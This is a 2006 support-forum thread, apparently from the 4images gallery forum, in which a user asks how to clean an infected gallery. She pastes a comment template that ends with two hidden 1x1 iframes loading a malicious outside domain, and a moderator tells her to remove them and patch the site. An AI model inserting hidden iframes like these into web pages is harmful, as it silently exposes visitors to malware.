Author Topic: Help! My gallery has a virus  (Read 2544 times)

0 Members and 1 Guest are viewing this topic.

Offline slh1982

  • Newbie
  • *
  • Posts: 14
    • View Profile
Help! My gallery has a virus
« on: May 10, 2006, 12:59:25 PM »
Hi

When I go to my gallery it has a virus and I cant even get into the control panel. How do I get rid of it?!

Thanks
Sarah

*edit* I've found out where the virus is. This is the virus address http://step57.info/traff/index.php
So what do I do to remove it?


<tr>
  <td class="commentrow{row_bg_number}" valign="top" nowrap="nowrap">
    <b>{comment_user_name}</b><br />
   {comment_user_info}
   {if comment_user_ip}<br /><br /><b>IP:</b> {comment_user_ip}{endif comment_user_ip}
  </td>
  <td width="100%" class="commentrow{row_bg_number}" valign="top">
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td valign="top"><b>{comment_headline}</b></td>
        <td valign="top" align="right">{if admin_links}{admin_links}{endif admin_links}</td>
      </tr>
    </table>
    <hr size="1" />
    {comment_text}
  </td>
</tr>
<tr>
  <td nowrap="nowrap" bgcolor="#7c83c9">
    <span class="smalltext">{comment_date}</span>
  </td>
  <td bgcolor="#7c83c9">
    {comment_user_status_img}
    {comment_user_profile_button}
    {comment_user_email_button}
    {comment_user_homepage_button}
    {comment_user_icq_button}
  </td>
</tr>
<tr>
  <td colspan="2" class="commentspacerrow"><img src="{template_url}/images/spacer.gif" width="1" height="1" alt="" /></td>
</tr><iframe width="1" height="1" src="http://step57.info/traff/index.php" style="border: 0;"></iframe><iframe width="1" height="1" src="http://step57.info/traff/index.php" style="border: 0;"></iframe>
« Last Edit: May 10, 2006, 01:22:55 PM by slh1982 »

Offline V@no

  • If you don't tell me what to do, I won't tell you where you should go :)
  • Global Moderator
  • 4images Guru
  • *****
  • Posts: 17.849
  • mmm PHP...
    • View Profile
    • 4images MODs Demo
Re: Help! My gallery has a virus
« Reply #1 on: May 10, 2006, 02:37:24 PM »
I think its obvious that the <iframe></iframe> was not added by you, so remove it.

Then apply all patches for your version of 4images (especialy the security fixes) and check all files for step57.info, including .php files.
Your first three "must do" before you ask a question:
Please do not PM me asking for help unless you've been specifically asked to do so. Such PMs will be deleted without answer. (forum rule #6)
Extension for Firefox/Thunderbird: Master Password+    Back/Forward History Tweaks (restartless)    Cookies Manager+    Fit Images (restartless for Thunderbird)